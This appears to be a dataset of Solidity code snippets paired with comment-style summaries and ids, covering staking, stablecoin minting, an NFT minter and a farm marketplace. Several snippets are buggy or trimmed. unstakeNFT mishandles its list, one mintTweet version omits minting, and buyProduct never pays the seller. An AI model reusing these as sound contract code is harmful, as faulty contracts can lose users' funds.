return _timeElapsed.mul(stakeRate);
}
}
|
must be staker transfer NFT out reward user remove NFT
|
function unstakeNFT(uint256 _stakeID) external {
NFTInfo storage nft = nftStakingList[_stakeID];
UserInfo storage user = userList[msg.sender];
require(nft.staker == msg.sender, "not owner");
NFT.transferFrom(address(this), msg.sender, nft.tokenID);
user.rewardAmount += _rewardPoints(block.timestamp.sub(nft.stakeAt));
user.stakingAmount -= 1;
if (nftStakingList.length == 1) {
nftStakingList.pop();
nftStakingList[_stakeID] = nftStakingList[
nftStakingList.length - 1
];
nftStakingList.pop();
}
emit unStake(
address(this),
address(msg.sender),
nft.tokenID,
"unStake NFT from to"
);
}
| 1,761,958
|
pragma solidity ^0.5.16;
import "./AToken.sol";
import "./PriceOracle.sol";
import "./ErrorReporter.sol";
import "./Exponential.sol";
import "./XAIControllerStorage.sol";
import "./XAIUnitroller.sol";
import "./XAI/XAI.sol";
interface ComptrollerImplInterface {
function protocolPaused() external view returns (bool);
function mintedXAIs(address account) external view returns (uint);
function xaiMintRate() external view returns (uint);
function annexXAIRate() external view returns (uint);
function annexAccrued(address account) external view returns(uint);
function getAssetsIn(address account) external view returns (AToken[] memory);
function oracle() external view returns (PriceOracle);
function distributeXAIMinterAnnex(address xaiMinter) external;
}
/**
* @title Annex's XAI Comptroller Contract
* @author Annex
*/
contract XAIController is XAIControllerStorageG2, XAIControllerErrorReporter, Exponential {
/// @notice Emitted when Comptroller is changed
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
/**
* @notice Event emitted when XAI is minted
*/
event MintXAI(address minter, uint mintXAIAmount);
/**
* @notice Event emitted when XAI is repaid
*/
event RepayXAI(address payer, address borrower, uint repayXAIAmount);
/// @notice The initial Annex index for a market
uint224 public constant annexInitialIndex = 1e36;
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateXAI(address liquidator, address borrower, uint repayAmount, address aTokenCollateral, uint seizeTokens);
/**
* @notice Emitted when treasury guardian is changed
*/
event NewTreasuryGuardian(address oldTreasuryGuardian, address newTreasuryGuardian);
/**
* @notice Emitted when treasury address is changed
*/
event NewTreasuryAddress(address oldTreasuryAddress, address newTreasuryAddress);
/**
* @notice Emitted when treasury percent is changed
*/
event NewTreasuryPercent(uint oldTreasuryPercent, uint newTreasuryPercent);
/**
* @notice Event emitted when XAIs are minted and fee are transferred
*/
event MintFee(address minter, uint feeAmount);
/*** Main Actions ***/
struct MintLocalVars {
Error err;
MathError mathErr;
uint mintAmount;
}
function mintXAI(uint mintXAIAmount) external nonReentrant returns (uint) {
if(address(comptroller) != address(0)) {
require(mintXAIAmount > 0, "mintXAIAmount cannt be zero");
require(!ComptrollerImplInterface(address(comptroller)).protocolPaused(), "protocol is paused");
MintLocalVars memory vars;
address minter = msg.sender;
// Keep the flywheel moving
updateAnnexXAIMintIndex();
ComptrollerImplInterface(address(comptroller)).distributeXAIMinterAnnex(minter);
uint oErr;
MathError mErr;
uint accountMintXAINew;
uint accountMintableXAI;
(oErr, accountMintableXAI) = getMintableXAI(minter);
if (oErr != uint(Error.NO_ERROR)) {
return uint(Error.REJECTION);
}
// check that user have sufficient mintableXAI balance
if (mintXAIAmount > accountMintableXAI) {
return fail(Error.REJECTION, FailureInfo.XAI_MINT_REJECTION);
}
(mErr, accountMintXAINew) = addUInt(ComptrollerImplInterface(address(comptroller)).mintedXAIs(minter), mintXAIAmount);
require(mErr == MathError.NO_ERROR, "XAI_MINT_AMOUNT_CALCULATION_FAILED");
uint error = comptroller.setMintedXAIOf(minter, accountMintXAINew);
if (error != 0 ) {
return error;
}
uint feeAmount;
uint remainedAmount;
vars.mintAmount = mintXAIAmount;
if (treasuryPercent != 0) {
(vars.mathErr, feeAmount) = mulUInt(vars.mintAmount, treasuryPercent);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_FEE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, feeAmount) = divUInt(feeAmount, 1e18);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_FEE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, remainedAmount) = subUInt(vars.mintAmount, feeAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_FEE_CALCULATION_FAILED, uint(vars.mathErr));
}
XAI(getXAIAddress()).mint(treasuryAddress, feeAmount);
emit MintFee(minter, feeAmount);
} else {
remainedAmount = vars.mintAmount;
}
XAI(getXAIAddress()).mint(minter, remainedAmount);
emit MintXAI(minter, remainedAmount);
return uint(Error.NO_ERROR);
}
}
/**
* @notice Repay XAI
*/
function repayXAI(uint repayXAIAmount) external nonReentrant returns (uint, uint) {
if(address(comptroller) != address(0)) {
require(repayXAIAmount > 0, "repayXAIAmount cannt be zero");
require(!ComptrollerImplInterface(address(comptroller)).protocolPaused(), "protocol is paused");
address payer = msg.sender;
updateAnnexXAIMintIndex();
ComptrollerImplInterface(address(comptroller)).distributeXAIMinterAnnex(payer);
return repayXAIFresh(msg.sender, msg.sender, repayXAIAmount);
}
}
/**
* @notice Repay XAI Internal
* @notice Borrowed XAIs are repaid by another user (possibly the borrower).
* @param payer the account paying off the XAI
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of XAI being returned
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayXAIFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) {
uint actualBurnAmount;
uint xaiBalanceBorrower = ComptrollerImplInterface(address(comptroller)).mintedXAIs(borrower);
if(xaiBalanceBorrower > repayAmount) {
actualBurnAmount = repayAmount;
} else {
actualBurnAmount = xaiBalanceBorrower;
}
MathError mErr;
uint accountXAINew;
XAI(getXAIAddress()).burn(payer, actualBurnAmount);
(mErr, accountXAINew) = subUInt(xaiBalanceBorrower, actualBurnAmount);
require(mErr == MathError.NO_ERROR, "XAI_BURN_AMOUNT_CALCULATION_FAILED");
uint error = comptroller.setMintedXAIOf(borrower, accountXAINew);
if (error != 0) {
return (error, 0);
}
emit RepayXAI(payer, borrower, actualBurnAmount);
return (uint(Error.NO_ERROR), actualBurnAmount);
}
/**
* @notice The sender liquidates the xai minters collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of xai to be liquidated
* @param aTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateXAI(address borrower, uint repayAmount, ATokenInterface aTokenCollateral) external nonReentrant returns (uint, uint) {
require(!ComptrollerImplInterface(address(comptroller)).protocolPaused(), "protocol is paused");
uint error = aTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.XAI_LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
// liquidateXAIFresh emits borrow-specific logs on errors, so we don't need to
return liquidateXAIFresh(msg.sender, borrower, repayAmount, aTokenCollateral);
}
/**
* @notice The liquidator liquidates the borrowers collateral by repay borrowers XAI.
* The collateral seized is transferred to the liquidator.
* @param liquidator The address repaying the XAI and seizing collateral
* @param borrower The borrower of this XAI to be liquidated
* @param aTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the XAI to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment XAI.
*/
function liquidateXAIFresh(address liquidator, address borrower, uint repayAmount, ATokenInterface aTokenCollateral) internal returns (uint, uint) {
if(address(comptroller) != address(0)) {
/* Fail if liquidate not allowed */
uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(aTokenCollateral), liquidator, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.REJECTION, FailureInfo.XAI_LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify aTokenCollateral market's block number equals current block number */
//if (aTokenCollateral.accrualBlockNumber() != accrualBlockNumber) {
if (aTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
return (fail(Error.REJECTION, FailureInfo.XAI_LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return (fail(Error.REJECTION, FailureInfo.XAI_LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
}
/* Fail if repayAmount = 0 */
if (repayAmount == 0) {
return (fail(Error.REJECTION, FailureInfo.XAI_LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
}
/* Fail if repayAmount = -1 */
if (repayAmount == uint(-1)) {
return (fail(Error.REJECTION, FailureInfo.XAI_LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
}
/* Fail if repayXAI fails */
(uint repayBorrowError, uint actualRepayAmount) = repayXAIFresh(liquidator, borrower, repayAmount);
if (repayBorrowError != uint(Error.NO_ERROR)) {
return (fail(Error(repayBorrowError), FailureInfo.XAI_LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We calculate the number of collateral tokens that will be seized */
(uint amountSeizeError, uint seizeTokens) = comptroller.liquidateXAICalculateSeizeTokens(address(aTokenCollateral), actualRepayAmount);
require(amountSeizeError == uint(Error.NO_ERROR), "XAI_LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
/* Revert if borrower collateral token balance < seizeTokens */
require(aTokenCollateral.balanceOf(borrower) >= seizeTokens, "XAI_LIQUIDATE_SEIZE_TOO_MUCH");
uint seizeError;
seizeError = aTokenCollateral.seize(liquidator, borrower, seizeTokens);
/* Revert if seize tokens fails (since we cannot be sure of side effects) */
require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
/* We emit a LiquidateBorrow event */
emit LiquidateXAI(liquidator, borrower, actualRepayAmount, address(aTokenCollateral), seizeTokens);
/* We call the defense hook */
comptroller.liquidateBorrowVerify(address(this), address(aTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
return (uint(Error.NO_ERROR), actualRepayAmount);
}
}
/**
* @notice Initialize the AnnexXAIState
*/
function _initializeAnnexXAIState(uint blockNumber) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
}
if (isAnnexXAIInitialized == false) {
isAnnexXAIInitialized = true;
uint xaiBlockNumber = blockNumber == 0 ? getBlockNumber() : blockNumber;
annexXAIState = AnnexXAIState({
index: annexInitialIndex,
block: safe32(xaiBlockNumber, "block number overflows")
});
}
return uint(Error.NO_ERROR);
}
/**
* @notice Accrue ANN to by updating the XAI minter index
*/
function updateAnnexXAIMintIndex() public returns (uint) {
uint xaiMinterSpeed = ComptrollerImplInterface(address(comptroller)).annexXAIRate();
uint blockNumber = getBlockNumber();
uint deltaBlocks = sub_(blockNumber, uint(annexXAIState.block));
if (deltaBlocks > 0 && xaiMinterSpeed > 0) {
uint xaiAmount = XAI(getXAIAddress()).totalSupply();
uint annexAccrued = mul_(deltaBlocks, xaiMinterSpeed);
Double memory ratio = xaiAmount > 0 ? fraction(annexAccrued, xaiAmount) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: annexXAIState.index}), ratio);
annexXAIState = AnnexXAIState({
index: safe224(index.mantissa, "new index overflows"),
block: safe32(blockNumber, "block number overflows")
});
} else if (deltaBlocks > 0) {
annexXAIState.block = safe32(blockNumber, "block number overflows");
}
return uint(Error.NO_ERROR);
}
/**
* @notice Calculate ANN accrued by a XAI minter
* @param xaiMinter The address of the XAI minter to distribute ANN to
*/
function calcDistributeXAIMinterAnnex(address xaiMinter) public returns(uint, uint, uint, uint) {
// Check caller is comptroller
if (msg.sender != address(comptroller)) {
return (fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK), 0, 0, 0);
}
Double memory xaiMintIndex = Double({mantissa: annexXAIState.index});
Double memory xaiMinterIndex = Double({mantissa: annexXAIMinterIndex[xaiMinter]});
annexXAIMinterIndex[xaiMinter] = xaiMintIndex.mantissa;
if (xaiMinterIndex.mantissa == 0 && xaiMintIndex.mantissa > 0) {
xaiMinterIndex.mantissa = annexInitialIndex;
}
Double memory deltaIndex = sub_(xaiMintIndex, xaiMinterIndex);
uint xaiMinterAmount = ComptrollerImplInterface(address(comptroller)).mintedXAIs(xaiMinter);
uint xaiMinterDelta = mul_(xaiMinterAmount, deltaIndex);
uint xaiMinterAccrued = add_(ComptrollerImplInterface(address(comptroller)).annexAccrued(xaiMinter), xaiMinterDelta);
return (uint(Error.NO_ERROR), xaiMinterAccrued, xaiMinterDelta, xaiMintIndex.mantissa);
}
/*** Admin Functions ***/
/**
* @notice Sets a new comptroller
* @dev Admin function to set a new comptroller
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setComptroller(ComptrollerInterface comptroller_) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
}
ComptrollerInterface oldComptroller = comptroller;
comptroller = comptroller_;
emit NewComptroller(oldComptroller, comptroller_);
return uint(Error.NO_ERROR);
}
function _become(XAIUnitroller unitroller) external {
require(msg.sender == unitroller.admin(), "only unitroller admin can change brains");
require(unitroller._acceptImplementation() == 0, "change not authorized");
}
/**
* @dev Local vars for avoiding stack-depth limits in calculating account total supply balance.
* Note that `aTokenBalance` is the number of aTokens the account owns in the market,
* whereas `borrowBalance` is the amount of underlying that the account has borrowed.
*/
struct AccountAmountLocalVars {
uint totalSupplyAmount;
uint sumSupply;
uint sumBorrowPlusEffects;
uint aTokenBalance;
uint borrowBalance;
uint exchangeRateMantissa;
uint oraclePriceMantissa;
Exp collateralFactor;
Exp exchangeRate;
Exp oraclePrice;
Exp tokensToDenom;
}
function getMintableXAI(address minter) public view returns (uint, uint) {
PriceOracle oracle = ComptrollerImplInterface(address(comptroller)).oracle();
AToken[] memory enteredMarkets = ComptrollerImplInterface(address(comptroller)).getAssetsIn(minter);
AccountAmountLocalVars memory vars; // Holds all our calculation results
uint oErr;
MathError mErr;
uint accountMintableXAI;
uint i;
/**
* We use this formula to calculate mintable XAI amount.
* totalSupplyAmount * XAIMintRate - (totalBorrowAmount + mintedXAIOf)
*/
for (i = 0; i < enteredMarkets.length; i++) {
(oErr, vars.aTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = enteredMarkets[i].getAccountSnapshot(minter);
if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades
return (uint(Error.SNAPSHOT_ERROR), 0);
}
vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});
// Get the normalized price of the asset
vars.oraclePriceMantissa = oracle.getUnderlyingPrice(enteredMarkets[i]);
if (vars.oraclePriceMantissa == 0) {
return (uint(Error.PRICE_ERROR), 0);
}
vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
(mErr, vars.tokensToDenom) = mulExp(vars.exchangeRate, vars.oraclePrice);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
// sumSupply += tokensToDenom * aTokenBalance
(mErr, vars.sumSupply) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.aTokenBalance, vars.sumSupply);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
// sumBorrowPlusEffects += oraclePrice * borrowBalance
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
}
(mErr, vars.sumBorrowPlusEffects) = addUInt(vars.sumBorrowPlusEffects, ComptrollerImplInterface(address(comptroller)).mintedXAIs(minter));
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mErr, accountMintableXAI) = mulUInt(vars.sumSupply, ComptrollerImplInterface(address(comptroller)).xaiMintRate());
require(mErr == MathError.NO_ERROR, "XAI_MINT_AMOUNT_CALCULATION_FAILED");
(mErr, accountMintableXAI) = divUInt(accountMintableXAI, 10000);
require(mErr == MathError.NO_ERROR, "XAI_MINT_AMOUNT_CALCULATION_FAILED");
(mErr, accountMintableXAI) = subUInt(accountMintableXAI, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.REJECTION), 0);
}
return (uint(Error.NO_ERROR), accountMintableXAI);
}
function _setTreasuryData(address newTreasuryGuardian, address newTreasuryAddress, uint newTreasuryPercent) external returns (uint) {
// Check caller is admin
if (!(msg.sender == admin || msg.sender == treasuryGuardian)) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_TREASURY_OWNER_CHECK);
}
require(newTreasuryPercent < 1e18, "treasury percent cap overflow");
address oldTreasuryGuardian = treasuryGuardian;
address oldTreasuryAddress = treasuryAddress;
uint oldTreasuryPercent = treasuryPercent;
treasuryGuardian = newTreasuryGuardian;
treasuryAddress = newTreasuryAddress;
treasuryPercent = newTreasuryPercent;
emit NewTreasuryGuardian(oldTreasuryGuardian, newTreasuryGuardian);
emit NewTreasuryAddress(oldTreasuryAddress, newTreasuryAddress);
emit NewTreasuryPercent(oldTreasuryPercent, newTreasuryPercent);
return uint(Error.NO_ERROR);
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
/**
* @notice Return the address of the XAI token
* @return The address of XAI
*/
function getXAIAddress() public view returns (address) {
return 0x4BD17003473389A42DAF6a0a729f6Fdb328BbBd7;
}
function initialize() onlyAdmin public {
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
}
modifier onlyAdmin() {
require(msg.sender == admin, "only admin can");
_;
}
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
}
|
The sender liquidates the xai minters collateral. The collateral seized is transferred to the liquidator. borrower The borrower of xai to be liquidated aTokenCollateral The market in which to seize collateral from the borrower repayAmount The amount of the underlying borrowed asset to repay return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount./ accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
|
function liquidateXAI(address borrower, uint repayAmount, ATokenInterface aTokenCollateral) external nonReentrant returns (uint, uint) {
require(!ComptrollerImplInterface(address(comptroller)).protocolPaused(), "protocol is paused");
uint error = aTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return (fail(Error(error), FailureInfo.XAI_LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
}
| 14,096,036
|
./full_match/1/0x86cf5A90aDFF0E5d8B817989A47c36F3F56134ED/sources/contracts/tokens/BaseToken.sol
|
to help users who accidentally send their tokens to this contract
|
function withdrawToken(address _token, address _account, uint256 _amount) external override onlyGov {
IERC20(_token).safeTransfer(_account, _amount);
}
| 3,170,905
|
pragma solidity >=0.4.22 <0.6.0;
import './SafeMath.sol';
interface ERC20Interface {
function allowance(address, address) external view returns (uint);
function balanceOf(address) external view returns (uint);
function approve(address, uint) external;
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
}
/** Swap Functionality */
interface ScdMcdMigration {
function swapEthToSai(uint daiAmt) external;
}
contract Helpers{
/**
* @dev get uniswap DAI exchange
*/
function getUniswapDAIExchange() public pure returns (address ude) {
// ude = 0x09cabEC1eAd1c0Ba254B09efb3EE13841712bE14;
// Proxy Address
}
function getSaiAddress() public pure returns (address saiAddr) {
// troller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
}
/**
* @dev get Eth address
*/
function getEthAddress() public pure returns (address daiAddr) {
// troller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
}
}
contract MigrationProxyActions is Helpers{
function swapEthToSai(
address userAddress, // Migration contract address
uint wad // Amount to swap
) internal
{
ERC20Interface sai = ERC20Interface(getSaiAddress());
ERC20Interface eth = ERC20Interface(getEthAddress());
if (eth.allowance(address(this), userAddress) < wad) {
sai.approve(userAddress, wad);
ScdMcdMigration(userAddress).swapEthToSai(wad);
}
}
}
contract FarmEasy {
using SafeMath for uint256;
/** @dev Product Details
* @param index ID of the Product
* @param owner address of the farmer
* @parma category Classify as Crop, Livestock and Poultry
* @param name different products of crop/livestock/Poultry
* @param quantity Amount of product
*/
struct Product {
bool active;
address owner;
string category;
string name;
uint256 quantity;
uint256 index;
uint256 sellingPrice; //per piece
}
/** @dev Farmer's Registration on platform
* @param farmer Eth Address of farmer
* @param farmAddress Name, Location, Country
* @param registeredProductsKeys Id of the registered products.
* @param soldProductsKeys Id of the Sell order records.
* @param registeredProducts Products registed by the farmer.
* @notice Products between RegisteredFarmers are added and removed from the registeredProducts array
@notice Famer address are generated when a farmer registers for the services
*/
struct Farmer {
bool active;
address farmer;
string farmAddress;
uint256[] registeredProductsKeys;
uint256[] soldProductsKeys;
mapping(uint256 => Product) registeredProducts;
}
struct Buyer{
bool active;
address buyer;
uint256[] boughtProductsKeys;
mapping (uint256 => Product) boughtProducts;
}
/**
* Events
*/
event FarmerRegistration(address _farmer);
event BuyerRegistration(address _farmer);
event SuccesfullyRegistered(address _farmer, uint256 index, string name, uint256 sellingPrice);
/**
* Modifier
*/
modifier onlyAdmin() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
address owner;
mapping(address => Farmer) RegisteredFarmers;
mapping(address => Buyer) RegisteredBuyers;
mapping(uint256 => Product) RegisteredProducts;
mapping(uint256 => Product) RequestedProducts;
uint256 currentIndexProducts;
constructor() public {
owner = msg.sender;
}
/**
* FUNCTIONS
*/
function registerFarmer(string memory farmAddress) public returns(bool) {
require(msg.sender != address(0), "Invalid sender address");
require(!RegisteredFarmers[msg.sender].active, "farmer already registered");
RegisteredFarmers[msg.sender].active = true;
RegisteredFarmers[msg.sender].farmAddress = farmAddress;
RegisteredFarmers[msg.sender].farmer = msg.sender;
emit FarmerRegistration(msg.sender);
return RegisteredFarmers[msg.sender].active;
}
function checkFarmerRegistration() public view returns(bool) {
require(msg.sender != address(0), "Invalid sender address");
return RegisteredFarmers[msg.sender].active;
}
function registerProduct(string memory categories, uint256 sellingprice, string memory name) public returns(bool) {
require(msg.sender != address(0), "Invalid sender address");
require(RegisteredFarmers[msg.sender].active, "farmer not registered");
require(sellingprice > 0, "selling price is required to be greater than 0");
RegisteredProducts[currentIndexProducts].owner = msg.sender;
RegisteredProducts[currentIndexProducts].index = currentIndexProducts;
RegisteredProducts[currentIndexProducts].category = categories;
RegisteredProducts[currentIndexProducts].active = true;
RegisteredProducts[currentIndexProducts].name = name;
RegisteredProducts[currentIndexProducts].sellingPrice = sellingprice;
RegisteredFarmers[msg.sender].registeredProducts[currentIndexProducts] = RegisteredProducts[currentIndexProducts];
RegisteredFarmers[msg.sender].registeredProductsKeys.push(currentIndexProducts);
currentIndexProducts = currentIndexProducts.add(1);
emit SuccesfullyRegistered(msg.sender, currentIndexProducts-1, name, sellingprice);
return true;
}
function getFarmerRegisteredProductKeys() public view returns(uint256[] memory) {
require(msg.sender != address(0), "Invalid sender address");
require(RegisteredFarmers[msg.sender].active, "Famer not registered");
return RegisteredFarmers[msg.sender].registeredProductsKeys;
}
function productExists(uint256 id) public view returns(bool) {
require(msg.sender != address(0), "Invalid sender address");
require(id >= 0, "product id must be equal to and greater than 0");
return RegisteredProducts[id].active;
}
function getTotalSupply() public view returns(uint256) {
require(msg.sender != address(0));
return currentIndexProducts;
}
function registerBuyer() public returns(bool) {
require(msg.sender != address(0), "Invalid sender address");
require(!RegisteredBuyers[msg.sender].active, "Buyer already registered");
RegisteredBuyers[msg.sender].active = true;
RegisteredBuyers[msg.sender].buyer = msg.sender;
emit BuyerRegistration(msg.sender);
return true;
}
function buyProduct(uint256 productId) public payable returns(bool) {
require(msg.sender != address(0), "Invalid sender address");
require(RegisteredFarmers[msg.sender].active, "You currently not registered");
require(RegisteredProducts[productId].active, "Product already sold or does not exits");
address productOwner = RegisteredProducts[productId].owner;
require(productOwner != msg.sender, "Cannot buy a product from your self");
require(RegisteredFarmers[productOwner].active, "Product seller not not registered");
require(productId >= 0, "Product Id must be equal to and greater than 0");
require(msg.value > 0, "Contract cut has to be greater than 0 Eth");
RegisteredFarmers[msg.sender].active = false;
RegisteredBuyers[msg.sender].boughtProducts[productId] = RegisteredFarmers[productOwner].registeredProducts[productId];
RegisteredBuyers[msg.sender].boughtProductsKeys.push(productId);
return true;
}
}
|
get uniswap DAI exchange/ ude = 0x09cabEC1eAd1c0Ba254B09efb3EE13841712bE14; Proxy Address
|
function getUniswapDAIExchange() public pure returns (address ude) {
}
| 6,450,531
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "hardhat/console.sol";
contract TimeTravellersNFT is ERC721URIStorage, AccessControl {
using Counters for Counters.Counter;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
Counters.Counter private _tokenCounter;
event TokenCreated(
uint256 indexed currentId,
string tokenURI,
address indexed minter
);
constructor()
//string memory _newBaseURI
ERC721("Time-Travellers-NFT", "TTN")
{
_grantRole(MINTER_ROLE, msg.sender);
}
struct Tweet {
uint16 tokenID; // +1/day = 179 years worth of ID's
string tokenURI;
address owner;
}
Tweet[] public arrayOffAllTweets;
//mapping(uint16 => Tweet) public IdToTweet;
function getAllMintedTokens() external view returns (Tweet[] memory) {
/*uint16 currentId = uint16(_tokenCounter.current());
Tweet[] memory returnArray = new Tweet[](currentId);
for (uint16 i = 1; i <= currentId; i++) {
returnArray[i - 1] = IdToTweet[i];
}
return returnArray; // 37223 gas*/
return arrayOffAllTweets; // 36514 gas
}
function mintTweet(address _account, string memory _tokenURI)
external
onlyRole(MINTER_ROLE)
returns (uint256)
{
_tokenCounter.increment();
uint16 currentId = uint16(_tokenCounter.current());
_safeMint(_account, currentId); // checks if id is already minted
_setTokenURI(currentId, _tokenURI);
arrayOffAllTweets.push(Tweet(currentId, _tokenURI, _account));
//IdToTweet[currentId] = Tweet(currentId, _tokenURI, _account);
emit TokenCreated(currentId, _tokenURI, _account);
return currentId;
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
|
IdToTweet[currentId] = Tweet(currentId, _tokenURI, _account);
|
function mintTweet(address _account, string memory _tokenURI)
external
onlyRole(MINTER_ROLE)
returns (uint256)
{
_tokenCounter.increment();
uint16 currentId = uint16(_tokenCounter.current());
_setTokenURI(currentId, _tokenURI);
arrayOffAllTweets.push(Tweet(currentId, _tokenURI, _account));
emit TokenCreated(currentId, _tokenURI, _account);
return currentId;
}
| 12,961,916
|
./partial_match/1/0x3c9554Cd41290B7e660e2B21f0e815eCF34CE406/sources/DividendsTokenCustomAntiBotLaunchBlockBurnVotes.sol
|
OpenZeppelin Contracts (last updated v4.5.0) (governance/utils/IVotes.sol) Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts. _Available since v4.5._/
|
interface IVotes {
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
function getVotes(address account) external view returns (uint256);
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
function delegates(address account) external view returns (address);
function delegate(address delegatee) external;
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
| 2,778,738
|
//SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./CommitmintToken.sol";
contract TokenOfFriendship is CommitmintToken {
// Counter.
using Counters for Counters.Counter;
Counters.Counter private _tokens;
/// @notice constructor.
constructor() ERC721("TokenOfFriendship", "FRIENDS") {}
/// @notice Public offer.
function offer(address to) external nonReentrant {
_tokens.increment();
uint256 tokenId = _tokens.current();
_offers[tokenId] = to;
_safeMint(_msgSender(), tokenId);
emit Offer(_msgSender(), to, tokenId);
}
}
|
Public offer.
|
function offer(address to) external nonReentrant {
_tokens.increment();
uint256 tokenId = _tokens.current();
_offers[tokenId] = to;
_safeMint(_msgSender(), tokenId);
emit Offer(_msgSender(), to, tokenId);
}
| 5,503,028
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.6 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libs/String.sol";
import "./libs/Bytes32.sol";
/**
* @dev NFT Registry
*
* Implements ERC721.
* name: Valory Registry
* symbol: VRT
*
* It registers(mint) NFT using it's IFPS hash as token ID.
* It registers Service that is a collection of NFTs.
* It executes Service as requested.
*
* @notice All external functions accept meta-transactions.
* The owner sends the transactions behind the signers, every external function is only callable by the owner.
* Accounts must provide the signature and signer, but it doesn't implement EIP-712.
* Thus, accounts must provide the transaction message configured based on the each individual function implementation.
*
* @notice Token has many to many relationship to Service.
*/
